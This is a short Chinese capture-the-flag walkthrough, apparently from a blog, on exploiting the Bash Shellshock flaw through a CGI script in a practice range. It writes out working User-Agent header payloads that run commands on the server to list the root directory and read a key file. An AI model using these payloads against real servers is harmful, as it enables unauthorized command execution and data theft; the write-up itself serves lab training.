Bash漏洞分析溯源
难易程度:★★
题目类型:命令执行
使用工具:FireFox浏览器、wwwscan
1.打开靶场,根据题目思路找poc.cgi。
2.使用wwwscan扫一下
发现有目录/cgi-bin
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/df42406a475000fce4b5303cea6d3e50.png)
3.打开burpsuite,访问/cgi-bin/poc.cgi,截包。
send to repeater,修改user-agent为() { :;}; echo; /bin/ls /
go一下,发现key.txt。
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/dd918fa2076063317a738e90806180fc.png)
4.再把user-agent修改为() { :;}; echo; /bin/cat /key.txt,获取到key。
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/707e0fb1eeb53840ece6e7d03ae4c384.png)